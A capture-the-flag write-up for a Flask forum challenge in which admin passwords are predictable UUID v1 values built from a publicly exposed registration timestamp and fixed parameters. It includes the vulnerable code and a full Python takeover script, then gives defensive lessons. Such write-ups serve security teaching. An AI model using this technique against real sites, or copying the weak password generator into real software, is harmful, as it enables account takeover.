Форум предсказателей (Prediction Forum)
Форум предсказателей (Prediction Forum)
Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-01-04 | Status: Solved Techniques: Admin account takeover via password reconstruction, Information disclosure via public profile endpoint, Source code analysis for cryptographic weakness, UUID v1 password prediction from timestamp
Summary
Task: Flask forum with UUID v1-based password generation and public profile endpoint exposing user timestamps. Solution: Extracted admin creation timestamp from public profile, reconstructed password using the same UUID generation function with hardcoded clock_seq and node values, logged in as admin to get the flag.
Форум предсказателей (Prediction Forum) - HackerLab
Description
Вы умеете предсказывать будущее? А узнавать чьё-то прошлое? Нет? Что ж, в любом случае нам пришёл новый заказ: оценить безопасность одного форума. Это по Вашей части и вряд ли в этом случае Вам нужно обладать экстрасенсорными навыками, потому что в IT-сфере магии не бывает.
Analysis
Vulnerability: Predictable UUID-based Password Generation
Source code analysis of the Flask application revealed a critical vulnerability in password generation:
-
Timestamp-based password generation: Passwords are generated by the
generate_uuid()function, which uses the user's registration time (created_at) -
Fixed cryptographic parameters: The function uses hardcoded values:
clock_seq = 0x89canode = 0x000c297433a0
-
Information Disclosure: The public endpoint
/profile/<id>exposes thecreated_attimestamp for any user -
Attack: Knowing the registration timestamp, an attacker can reconstruct any user's password
Vulnerable Code (app.py)
python read-only • copy alloweddef generate_uuid(timestamp_str): timestamp = datetime.strptime(timestamp_str, "%Y-%m-%d %H:%M:%S.%f") uuid_epoch = datetime(1582, 10, 15) intervals = int((timestamp - uuid_epoch).total_seconds() * 1e7) clock_seq = 0x89ca # FIXED! node = 0x000c297433a0 # FIXED! uuid1 = uuid.UUID(fields=(intervals & 0xFFFFFFFF, (intervals >> 32) & 0xFFFF, ((intervals >> 48) & 0x0FFF) | (1 << 12), clock_seq >> 8, clock_seq & 0xFF, node)) return str(uuid1)
Security Issues
- UUID v1 is not meant for passwords - UUID v1 is deterministic when parameters are known
- Fixed clock_seq and node - Removes the only source of entropy
- Timestamp as the only secret - And it's publicly available via API
- Information Disclosure - User profiles expose critical information
Solution
Step 1: Obtaining the Admin's Timestamp
Access the admin's public profile at /profile/1:
Username: admin
created_at: 2025-01-22 00:42:26.053996
Step 2: Reconstructing the Password
Use the same generate_uuid() function with the obtained timestamp:
python read-only • copy allowedimport uuid from datetime import datetime def generate_uuid(timestamp_str): timestamp = datetime.strptime(timestamp_str, "%Y-%m-%d %H:%M:%S.%f") uuid_epoch = datetime(1582, 10, 15) intervals = int((timestamp - uuid_epoch).total_seconds() * 1e7) clock_seq = 0x89ca node = 0x000c297433a0 uuid1 = uuid.UUID(fields=(intervals & 0xFFFFFFFF, (intervals >> 32) & 0xFFFF, ((intervals >> 48) & 0x0FFF) | (1 << 12), clock_seq >> 8, clock_seq & 0xFF, node)) return str(uuid1) admin_timestamp = "2025-01-22 00:42:26.053996" admin_password = generate_uuid(admin_timestamp) print(f"Admin password: {admin_password}") # Output: c03ac230-d859-11ef-89ca-000c297433a0
Step 3: Logging in as Admin
Username: admin
Password: c03ac230-d859-11ef-89ca-000c297433a0
Step 4: Obtaining the Flag
After logging in, accessing /profile shows the secret_word containing the flag.
Full Exploit
python read-only • copy allowed#!/usr/bin/env python3 """ Prediction Forum - UUID Password Prediction Attack HackerLab CTF """ import uuid import requests from datetime import datetime BASE_URL = "http://target:port" def generate_uuid(timestamp_str): """Reconstruct password from timestamp using vulnerable UUID generation""" timestamp = datetime.strptime(timestamp_str, "%Y-%m-%d %H:%M:%S.%f") uuid_epoch = datetime(1582, 10, 15) intervals = int((timestamp - uuid_epoch).total_seconds() * 1e7) clock_seq = 0x89ca # Fixed value from source code node = 0x000c297433a0 # Fixed value from source code uuid1 = uuid.UUID(fields=(intervals & 0xFFFFFFFF, (intervals >> 32) & 0xFFFF, ((intervals >> 48) & 0x0FFF) | (1 << 12), clock_seq >> 8, clock_seq & 0xFF, node)) return str(uuid1) def exploit(): session = requests.Session() # Step 1: Get admin's created_at timestamp from public profile print("[*] Fetching admin profile...") resp = session.get(f"{BASE_URL}/profile/1") # Parse created_at from response (implementation depends on response format) admin_timestamp = "2025-01-22 00:42:26.053996" # From profile page # Step 2: Predict admin password admin_password = generate_uuid(admin_timestamp) print(f"[+] Predicted admin password: {admin_password}") # Step 3: Login as admin print("[*] Logging in as admin...") resp = session.post(f"{BASE_URL}/login", data={ "username": "admin", "password": admin_password }) # Step 4: Get flag from profile print("[*] Fetching flag from profile...") resp = session.get(f"{BASE_URL}/profile") print(f"[+] Flag: {resp.text}") if __name__ == "__main__": exploit()
Lessons
- UUID v1 is not cryptographically secure - It's predictable when parameters are known
- Use UUID v4 - It's based on random numbers
- Use CSPRNG for passwords -
secrets.token_urlsafe()in Python - Don't expose creation timestamps - Or any information used in secret generation
- Principle of least privilege - Public profiles should not contain sensitive data
References
- UUID Version 1 Structure
- Python secrets module
- OWASP - Insecure Randomness